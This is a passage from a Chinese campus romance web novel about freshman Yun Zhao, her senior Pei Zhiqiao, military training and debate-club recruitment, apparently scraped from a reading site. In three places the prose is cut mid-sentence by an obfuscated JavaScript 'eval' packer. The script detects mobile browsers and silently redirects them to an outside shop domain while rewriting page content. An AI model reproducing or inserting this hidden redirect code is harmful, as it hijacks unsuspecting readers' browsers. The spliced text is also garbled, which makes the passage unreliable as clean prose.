云昭往前走出两步,又被裴至峤叫住。 “我们辩论社正在招新 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17322300|197773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,如果方便的话……” “可以加个微信吗?” 如果云昭仔细听,能听出裴至峤声音中的轻微颤抖。 但她没有。 她再一次大脑短路。 云昭曾经预想过很多次和裴至峤交换联系方式的场景,她努力想找到一个合适契机,却没想是在这样一个上午。 一个云淡风轻的上午,他云淡风轻的问她可不可以加个微信。 “云昭,可以吗?” 她没反应,他再次开口,声音的颤抖更明显。 云昭回神,手忙脚乱的打开二维码,“可、可以。” 她没注意到裴至峤松了口气。 扫开二维码,云昭的主页跳出来,裴至峤小声念了一遍这个和她企鹅号一样的呢称。 “Wolke。” 云昭解释:“就是德语里‘云’的意思。” 裴至峤知道。 他笑着:“记得通过申请,如果对我们辩论社有兴趣,也欢迎加入。” “好,今天谢谢学长了。” 云昭这次真的走了。 楼下等电梯的人很多,云昭等了一会儿才上去。她的宿舍是606。 宿舍门开着,有人已经到了。 赵落听到推门声,从阳台进屋,看见云昭的那刻惊叫出声。 “没想到这么巧,我们居然是室友!” 她又问:“你腿真的没事吧?你放心要是有事我肯定会负责的。” 云昭笑着说真的没事,转头去收拾东西。 另两个室友迟迟没到,云昭和赵落的床位挨在一起,她们在椅子上闲聊。 赵落八卦之心被勾起,凑近问云昭:“刚刚送你到楼下的男生和你什么关系啊?男朋友吗?” 她当时正在阳台放东西,往下一看就看到云昭和裴至峤。她当时觉得这两人眼熟,等云昭到宿舍她才发现好巧,一个是因为她手链摔倒的人,另一个是二话不说冲出去救人的人。 以赵落丰富的情感经验,一下就看出两人之间微妙的关系。 云昭脸上被太阳晒出的红晕还没褪下,她轻声否认赵落:“不是,他是我高中时候的学长。” “原来是学长?” 赵落追问:“只是学长吗?” 云昭支支吾吾的犹豫了。 赵落替她补全:“你喜欢他是不是?” 那双小鹿似的眼睛瞬间瞪大,“你怎么知道?” 说完之后云昭才反应过来,这等于她直接承认了。 “有这么明显吗?你怎么看出来的啊?” 赵落翻出学校论坛上的帖子推到云昭面前:“宝贝,喜欢一个人的眼神很明显的。” 照片里,云昭眼睛亮晶晶的看着裴至峤,那时场面混乱,她的神色中有惊慌,但更多的是看到他在的心动和紧张。 帖子下有很多看热闹的人评论,有人认出裴至峤,说他一直都是这样,是个很好的人;但有人说,能这样快速做出反应,冲去接住倒地的女生,抱住后如释重负的松一口气,已经超越临时救人的反应范畴。 他一直在关注她,他在乎她,所以在所有人都没反应之前,他就抱住了她。 真情实感的炽热眼神,是比偶像剧更令人着迷的瞬间。 云昭看完帖子里的每一条评论,退出论坛。 微信收到一条新消息。 山乔:「伤口不要碰水,记得换药避免感染发炎。」 云昭漾起一丝笑,回他。 Wolke:「好。o(≧v≦)o」 膝盖上的疼痛已经快完全消失,云昭托腮回忆着刚才那场出其不意的遇见。刚刚好的时间刚刚好的意外,让云昭进入淮大的第一天就拿到了她梦寐以求的裴至峤的联系方式。 她和他因为这个微信真正开始产生链接。 28. 停留 「天桥连接起学校广阔的土地,偌大的校园里我总是迷失方向,却遇到他很多次。在军训的操场、在上课的教学楼,他笑着叫我名字。但没有人注意到,我的目光常在他身上停留。」——@福音书与祷告文 裴至峤送完云昭后又回到法学院的帐篷处,继续帮其他新生办手续,忙到晚上七八点才回宿舍。 宿舍里没人,一个室友在图书馆复习补考,另外两个在上晚课。 裴至峤坐在椅子上,感觉膝盖有点痛,掀开裤腿一看,那里红了一大片。 上午他冲出去就云昭时跑得太快、跌得太狠,让他的伤得比摔倒的云昭还重。 他也不知道他怎么就冲出去了,救她是他的一种本能,甚至超越本能。 裴至峤找出抽屉里放的伤药,抹在膝盖的伤口上。 刚给一只膝盖上完药,宿舍门被推开。 苏修齐大摇大摆的进来坐下。 他边看手机边问裴至峤:“你今天又去学院当志愿者了?” 裴至峤淡淡“嗯”一声。 苏修齐反而激动起来,把手机举到裴至峤面前给他看:“所以他们说的今天在报到处英雄救美的人真是你?” 裴至峤瞥了一眼,发现照片上确实是自己。 “这谁拍的?” “当然是无所不在的吃瓜群众了,你要相信学校里关注你这张脸的人还是很多的。” 裴至峤说他无聊。 苏修齐收回手机自己看,看着看着他觉得不对劲:“这个学妹怎么有点眼熟?” 他放大看了又看:“这不是上次在天街KTV遇到的你那个学妹吗?叫什么昭来着?” 裴至峤上完药,淡淡回:“嗯,是她。她叫云昭,你们社会学系的。” 苏修齐恍然:“原来还是我的直系师妹。” 室友陆续回来,对苏修齐的串门见怪不怪。关于云昭的话题突然被打断,他们熟络的聊补考的事。 一个室友问苏修齐:“你怎么还有空来我们宿舍,没去图书馆复习?” 苏修齐吊儿郎当回:“我又没挂科,复什么习?” 室友羡慕社会学系的老师人好,不仅给划重点,还会平时成绩捞人,苏修齐好几门课踩着及格线过的。 唯一挂科的蒋定听到这些更想去世,大骂法学系老师不做人,过了的人都是混蛋,特别是裴至峤这个门门课都90往上的更是变态。 宿舍里闹起来,有人在吵,有人在笑。 苏修齐走前,凑近裴至峤问:“要不要我帮你关照关照你的云昭学妹?” 裴至峤反问,语气中带着轻微的不屑:“她不用你关照。再说,你能关照她什么?” 苏修齐听后跟蒋定一起骂裴至峤是混蛋。 裴至峤笑着,不作声,却比声嘶力竭的反驳更让人恨得牙痒。 腿上的伤还在疼,裴至峤想幸好他这学期没有体育课,大二也不用军训。 说到军训,大一的军训快开始了,就在下周一。 蒋定问他:“阿裴,下周军训学院招志愿者你还要去吗?” 有云昭在,他会去的。 “你为什么那么热衷于做志愿者?从期末到现在你去好几次了。” “有吗?” 裴至峤没觉得,蒋定却肯定。 裴至峤回想,这几次志愿活动无非都是因为云昭。 因为云昭回复了那条校园开放日的信息,因为她在开学前询问了他报到的流程,因为她一定会去军训,所以裴至峤每次都等在她必经的路上。 关于这些,裴至峤没和任何人说过。 他只说:“志愿活动可以加学分。” “你综测那么高了还要加学分?太卷了吧你!” “毕业有志愿时长要求的,能做就做了吧。” 蒋定觉得这话有理,决定和裴至峤一起去军训做志愿者。 军训前的最后一天,606宿舍的人才到齐。 云昭和赵落是淮川本地人,来得最早。后来的江倾语是隔壁省皖南人,和赵落一样读金融系。最后到宿舍的温明疏来自京北,和云昭是社会学系的同班同学,学号紧挨着。 她拖着一个大大的异形盒子进来,占了她柜子的大半边空隙。 江倾语好奇:“这是什么呀?” 温明疏似乎有点高冷,只回了三个字:“大提琴。” 认识第一天,赵落财大气粗的请整个寝室吃饭。淮大离中心广场不远,餐厅定在时代天街一家烤肉店。 刚认识的女生有的是话题聊,年龄性格聊到小学高中。赵落说她是国高的,让云昭一下明白她为什么一直觉得赵落眼熟。 “你记不记得高二的时候,篮球联赛表演赛那天,我去国高的时候撞了你。” 赵落是那个给云昭指路的漂亮女生。 这样一提,赵落也想起来了:“所以你那天那么急是为了去看谁的比赛?” 云昭没答,遗憾的说:“那天我没看到比赛。” 那是她无法释怀的遗憾。 气氛有些缄默。 四个人吃完饭就走了,没在中心广场停留多久。明天要开始军训,她们早早回宿舍准备。 淮川的夏天漫长,九月气温一直没降,让军训的新生叫苦不迭。 本地的学生和来自南方习惯夏季高温的学生基本能适应炎热的气候,但温明疏这样一直待在京北的人受不了淮川的秋老虎,军训第一天就中暑。 云昭和江倾语扶着温明疏去旁边的阴凉处,每个学院在这里开设点位,有校医在旁边观察学生的情况。 校医对军训中暑的学生处理得很娴熟,温明疏喝了藿香正气液,坐在学院帐篷下休息。 送完她云昭准备归队,一转头就看见个带着袖标的高瘦的男生站在她面前。 是裴至峤。 又遇到他了。 “云昭?你怎么来这里了?是不舒服吗?” 他语气中温柔夹杂着急切。 云昭连忙摆手:“没有没有,我送中暑的同学过来。” 她指了指身后坐着休息的温明疏。 裴至峤听后松了一口气,又问她:“你上次摔到的伤好了吗?如果不舒服就来跟校医开请假条,不要勉强。” 云昭看了一眼自己的手,擦伤的地方已经结痂,膝盖也不疼了。 她觉得:“我都好了,不用请假。” 她不是特别娇气的人,在保证自己健康的情况下她尽力完成规定的训练,不想搞特殊。 认真的样子让人觉得可爱,裴至峤轻轻笑了。 “那这个给你。” 衣兜里拿出的小盒子放到云昭手上。 “这是什么?” “润喉糖。听到你嗓子有点哑,吃这个会好受一点。” 训练时要一直喊口号,很伤喉咙,裴至峤是经历过的人,深有体会。给云昭的润喉糖他自己试过,效果挺好的。 铁盒的触感是冰凉的,炎热天里握在手里很舒服。 云昭捏紧这个小盒子。 “谢谢学长。” “那我先回去啦。” 云昭和江倾语手挽手走回队伍,她们连队正在原地休息。赵落摘下帽子扇风,埋怨天气好热,嗓子好疼。 “那你吃润喉糖吗?” 云昭吃了一块,是清甜的薄荷味,挺好吃的。她分给赵落和江倾语。 “这糖还可以,你哪儿买的?我也去买点。” 赵落觉得十几天的军训她嗓子撑不住。 江倾语嘴快,先云昭说出:“不是买的,是云昭她学长给她的。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17328063|197773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 她是见证人。 赵落疑惑:“学长?” 她想了一下才想到:“难道是裴至峤给的?” 云昭默认。 “好好好,我以为是你单恋,没想到你们是郎情妾意,这么快就暗度陈仓了。” 这两个成语是这么用的吗? 不对,等等。 云昭急切的解释:“不是你想的那样!” 话很苍白,赵落也不在乎:“无所谓啦,迟早要在一起,这么害羞干嘛?” 云昭脸皮薄,禁不起调侃,一句话也说不出,被赵落“玩弄于股掌之间”。 军训这几天不太好过,中途只下了一场小雨,其他时间基本都在训练。 操场的草坪被晒得发烫,硬得像搬砖的鞋子把脚磨出水泡,防晒霜成吨的往身上抹却还是觉得被晒黑。 陆续有人中暑被扶到学院的休息处,温明疏已经好了,云昭又送了两次别的中暑的同学。 每次路过学院的帐篷,云昭习惯性的往里看,十次有八次能看到裴至峤,他作为志愿者守在那里。 甚至有次,云昭去综合楼交班级材料,她没找到办公室在哪儿。 下一秒,她就在楼梯转角遇到了裴至峤。 他带她过去。 下楼时,没人注意,云昭的目光一直在他身上停留。 温明疏和江倾语那时正好路过综合楼,等云昭一起回宿舍。 离开时云昭总是往楼上看,看裴至峤走远的背影。她们问云昭在看什么,云昭吞吞吐吐的掩盖过去。 学校明明那么大,大到云昭在刚开始的那个月时常迷失方向,天桥连接起两个校区,她却能遇到裴至峤很多次,不止在军训的时候。 那是军训完后的第一周,云昭和温明疏去第二校区上公共课。 云昭觉得那栋楼的设计很不合理,她和温明疏找了好久都没找到302在哪。 当她们又一次从走廊这头跑到走廊那头时,正好撞见从楼下上来的裴至峤,以及和他上同一节课的苏修齐。 苏修齐问她们俩在干什么,“拿这当游戏地图在跑酷?” 云昭被调侃得一下红了脸:“不是,我们就是找不到教室在哪。” 裴至峤问:“哪间教室?” 云昭答:“302。” 裴至峤笑着跟她们解释:“怪不得你们找不到,302不在这边。” 这栋楼和其他教学楼的设计不一样,每一层有四间大教室,要从另一个楼梯口的旁边穿过去,他们第一次来的时候也找了很久。 裴至峤给她们指路,302是穿过楼梯后第二间教室。 “如果你们不知道教室在哪就去看安全门后的逃生地图,上面有每个教室的位置。” “我知道了谢谢学长。我们要迟到了先走了,下次见。” 裴至峤还没来得及回,云昭和温明疏就跑远了。 裴至峤顿在空中的手又放下,有一丝尴尬,却装作什么都没发生,和苏修齐去上选修课。 苏修齐没放过这个调侃的机会,在一旁快笑疯了:“人家利用完你就跑了,你还在那望呢?” 裴至峤白他一眼:“管你什么事。” 他愿意。 这是云昭第一次和他许诺下次。 “对了,辩论社招新的东西做好了吗?周末就要开始了。” 苏修齐自信满满的说:“当然做好了!给你看我给我们社做的海报,不错吧?” 裴至峤接过手机一看。 不错个头! “你美术是体育老师教的吗?” 不然审美怎么这么奇特。 “裴至峤,不带这样的,这哪不好看了?” 裴至峤懒得废话,自己上手重做了一版,做成易拉宝摆在银杏大道。 29. 游戏 「灯红酒绿的游戏场,我怀着不敢承认的真心话,和他进行了一次大冒险。所有人都以为这只是一场大冒险,不是的,里面藏匿着我的真心话。 分享歌曲《我们俩》@郭顶」——@福音书与祷告文 淮川大学秉持着鼓励学生全面发展、支持学生积极投入学校建设的原则,每个学院学生会下设六个部门,校内共有近百个社团,涵盖各个领域。 每年军训后的第一周周末,是各学院学生会和社团招新的日子。 每个社团和学生会有固定的宣传点位,一般学生会在主校区梧桐大道两侧,社团在第二校区银杏大道两侧。 各负责人提前一天到指定点位布置现场,挂上横幅、贴上海报。新生从这时候开始就可以挑选自己想去的部门和社团,提交申请。 周五下午,裴至峤去打印店拿做好的易拉宝和海报,贴在辩论社的点位前。一张小桌子上,一边摆宣传页,一边摆登记表。 苏修齐那天下午有课,裴至峤一个人在忙活。刚支好易拉宝,就有人来咨询。 一个下午,登记表没了半沓。裴至峤只好叫苏修齐下课后再去打印店印几张登记表。 苏修齐惊讶:“这么快就没了?” 他亲自过来看了看,确实不够了。 “看来今年辩论社能招到很多人呀!果然,让你守在摊位前是正确的选择,你看看多少人为你加入我们社团!” “怎么?打算让我用美色诱惑?” 裴至峤一秒猜出苏修齐的意图,毕竟上次打比赛他就打算这么干。 “能者多劳嘛!你这幅好看的皮囊,为什么不利用起来,为我们辩论社招揽人才!” 裴至峤从苏修齐的话里听出点谄媚,“要不说你才是社长呢,得为我们社团的未来负责!” 裴至峤把印好的登记表拍在苏修齐脑门上:“行了你,最后真能来几个人还不知道呢。” 每年领了登记表却不来的多得是,谁知道有几个真的愿意进听着就无聊的辩论社。 “反正我就值一天班,周天我有事,你自己看着办。” “哦对,上次听你说起过,你要跟裴律师实习,处理案子。” 苏修齐感叹:“你这资源要让别人嫉妒死了,爸妈都是大律师,手把手带着你实习。” 裴至峤才不信他的鬼话:“你妈妈不是也要你去公司实习吗,你不乐意来着。现在又说嫉妒我了?” 苏修齐摊摊手:“我是不乐意,我这专业去实习什么岗位?再说,可不是我嫉妒你,跟你同专业的才嫉妒你吧。” 他绩点高,实习经历好,无论深造还是工作都有好选择。 裴至峤懒得听他贫嘴,布置好点位后回去了,琐碎的小事全扔给了苏修齐。 云昭还在博文楼上课,社会学概论听得人摇摇欲睡。 微信弹出一条消息,云昭趁课间点开查看。 山乔:「明天社团招新,辩论社在第二校区银杏大道。如果对辩论感兴趣,欢迎加入~」 加上微信后他们的第二次交流,依旧是裴至峤主动发起。 云昭很兴奋,嘴角噙着笑,却又不敢在教室里太明目张胆的表现。 她矜持的回复他。 Wolke:「好。*^o^*」 后半节课突然变得没那么无聊,云昭对着微信界面发呆,等待他的下文。 很可惜,还没下文,下课铃就响了。 宿舍里有点冷清,赵落不在。 云昭洗完头发对着衣柜发呆,仔细考虑明天去见裴至峤要穿什么。 前两天的一场秋雨让气温降到二十多度,连衣裙不再适合这个季节。 云昭挑了一件嫩黄的针织衫搭牛仔裤,显得温柔又有活力。 微信提示音再次响起,她等了半天的下文终于有结果。 山乔:「明天早上九点后我会在辩论社的点位,期待你来~」 这条消息伴云昭一夜好梦。 第二天早晨,云昭准时出现在银杏大道,和江倾语一起。 她们腼腆的样子一看就是大一新生,走在路上被各个社团的同学塞了无数张宣传页。 到辩论社前,云昭手里已经快拿不下。 因为有裴至峤在,辩论社前有好几个女生正在填登记表。 云昭站在外围,裴至峤眼尖看见她,把事情交给苏修齐,拿着登记表走过来。 “云昭。” 他脸上挂着如沐春风的笑:“有兴趣加入我们辩论社吗?” “好、好啊。” 但云昭手里的东西太多,一时半会接不下这张登记表。 裴至峤很善解人意:“我帮你拿吧。” “好,谢谢学长。” 云昭腾出手去填表,江倾语对着辩论社的宣传单看了又看。 “昭昭,你真的要加入辩论社吗?” 江倾语是理科生,对宣传单上文邹邹的内容毫无兴趣。 云昭觉得:“其实辩论挺好玩的,一群人为一个辩题光明正大的吵架。” 她前几天看辩论赛视频,弹幕里一个点赞很高的评论这么说,引起好多人回复。 从裴至峤因为辩论社招新加她开始,她就去看了一些辩论赛,也看到裴至峤获奖那场比赛。 辩论真的挺有趣的,云昭发誓,这个结论绝对不是因为对裴至峤的滤镜。 好吧,可能还是因为有一点点滤镜。 云昭问她:“你想去哪个社团?” 江倾语放下那些宣传单:“我不打算去社团了,我在校外找了个兼职。” 各人有各人的规划,云昭没继续鼓动江倾语参加社团。 裴至峤拿着云昭手里的一叠宣传单去忙别的了,云昭填完登记表交给苏修齐。 云昭问:“学长,加入辩论社要考试或者面试吗?在什么时候?” “什么都不用,填个表就行。我们会挨个发信息通知。” 社团没那么多要求,只要交了表都会发通知。每年他们发出去很多表单,收回来的却没多少。还有大把人进来后发现自己不感兴趣,想要退出。他们哪敢有太多要求,招不到人就完了。 但苏修齐恶趣味上头,总想调侃云昭一句:“就算有考试,以你和阿裴的关系随随便便就能进。” 云昭被他吓到,慌张的解释:“他只是我学长。” 苏修齐说:“我知道,阿裴只有你一个学妹。” “只有一个”,听起来好特别。 云昭在心里重复一遍这个词,嘴角控制不了的扬起,又怕被人苏修齐发现继续调侃,快速的和江倾语一起走了。 走的时候她听到旁边女生在跟朋友说:“社长太帅了,我就是因为社长才想来的。” 美色诱人,云昭想起高中时虞岁评价裴至峤的话:裴学长脸在江山在。 放在现在也适用。 人畜无害的脸太能吸引关注。 裴至峤拿完东西回来,没看见云昭。 他问苏修齐:“云昭呢?” “填完表已经走了。” 裴至峤脸色暗了两分。 他看向她坐过的位置上,现在那里坐了别人。他从一堆登记表里抽出云昭的那张,停留在联系方式那一栏。 周二,云昭接到辩论社短信。这周六是辩论社团建,邀请所有新加入的同学一起来。 裴至峤也在。 这个时候宿舍没人,云昭放肆的一下从凳子上蹿起来,却与正好回宿舍拿东西的赵落撞上目光。 “什么事这么高兴?和他有进展了?” 云昭觉得不算有进展,“只是要去参加辩论社的团建活动。” “哦,我知道了,有他在。” 赵落的眼光太毒辣。 看在军训那盒润喉糖的份上,赵落决定帮云昭一次。 周六那天,云昭一早就被赵落按在桌前。 一盒子化妆品摆在云昭面前,赵落用不同的刷子在她脸上扫。顺直的长发经过卷发棒打理,安静的垂在胸前。普通的衣服被重新搭配,显出不一样的风格。 赵落把化好妆的云昭推到镜子前。 云昭看到了一个截然不同的自己,赵落把她打扮得很甜美,透亮的皮肤、像 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17331517|197773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 果冻一样晶莹的嘴唇、圆润的眼睛里盛着温柔的水汽。 江倾语刚好下班回来,对云昭的造型发出惊叹:“哇,昭昭,你要去约会吗?” 云昭解释:“不是约会。” 赵落补充:“但胜似约会。” 腮红盖过了云昭的羞涩,让人以为双颊的红润只是妆容的效果。 “完了完了,要迟到了!” 微信里,裴至峤给云昭发了餐厅的具体位置,问她到哪了,云昭惊觉她快要迟到。 来不及和江倾语解释太多,云昭出门打车赶往中心广场。 还好,这截路不堵车,她在约定时间之前达到。 一下车,云昭就看见餐厅门口站着的穿灰色夹克的人,他向云昭招手。 裴至峤说:“以为你找不到位置,所以就出来等你了。” 专门等她吗?是刻意的吗? 云昭不知道。 她跟着裴至峤进去。 辩论社今年招的人多,坐了三桌,剩两个空位。 “没位置了,不介意坐我旁边吧?” 云昭看了看周围,发现的确没位置了。 她说:“不、不介意。” 但觉得坐在裴至峤旁边这件事太魔幻,叫她一举一动都小心许多。 苏修齐坐在裴至峤的另一边,他往云昭这边看了一眼,云昭觉得他眼神奇怪。 “我发现今年招的女生特别多,大家为什么想来我们社团?都这么喜欢辩论?” 苏修齐话一出,在场女生齐刷刷望向裴至峤。 没人说话,过了好一会,才有大胆的女生说了一句:“其实辩论社的人我们也挺喜欢的。” 意思隐晦又明显,女生齐齐点头附和。 “云昭,你是喜欢辩论还是喜欢辩论社的人?” 突然被苏修齐点名的云昭被呛到,咳嗽了好几声,眼里含着泪水。 裴至峤在桌下踢了苏修齐一脚,苏修齐吃痛,却不敢和裴至峤闹起来。 这个问题对云昭来说太难回答。 云昭喝了好几口水,脑子疯狂计算着要怎么说。如果她在这个氛围下说喜欢辩论有点太虚伪,可如果说喜欢辩论社的人又会暴露她的“图谋不轨”。 进退两难。 裴至峤先开了口:“我看大家吃得差不多了,我们去隔壁再继续聊吧。” 他在帮云昭解围。 又或者说,他不想听到不想要的答案。 一群人转战地点,到旁边的KTV继续玩。 这个话题就此过去。 裴至峤和苏修齐走在最后。 “你能不能管好你的嘴?” 裴至峤说得咬牙切齿。 苏修齐反问他:“哎,难道你不想知道吗?” 说真心话,裴至峤想知道,云昭进辩论社有没有一点是因为他。 但他不想这样在大庭广众下强迫云昭回答。 裴至峤警告苏修齐:“你待会儿别再说些让人答不出来的话。” KTV还是上次那家,酒水单传了一圈传到云昭手里,她不敢点酒,点了一杯果汁。 有人去点歌台点歌,有人拿出一沓卡片。 “我们来玩游戏吧?” “玩什么?” “真心话大冒险!” 苏修齐第一个响应,说这个游戏最能让不认识的人快速熟悉。 “阿裴,你玩吗?一起吧。” 无数双期待的眼神望过来。 他们提议这个游戏本身就想打探裴至峤的信息,盼他输几局能让他们知道他有没有女朋友、有没有谈过恋爱。 裴至峤倾身靠近云昭,问:“你玩吗?” 云昭犹豫了一下,决定:“玩。” 因为她也想知道裴至峤有没有喜欢的人。 包厢里斑斓的灯光晃来晃去,音响里放着一首节奏轻快的情歌,屏幕里MV的男女主角正在热恋。 云昭和裴至峤挨得很近,她裙子的边缘紧贴着他,白色里投下一片阴影。 哗啦啦的洗牌声停止。 游戏开始。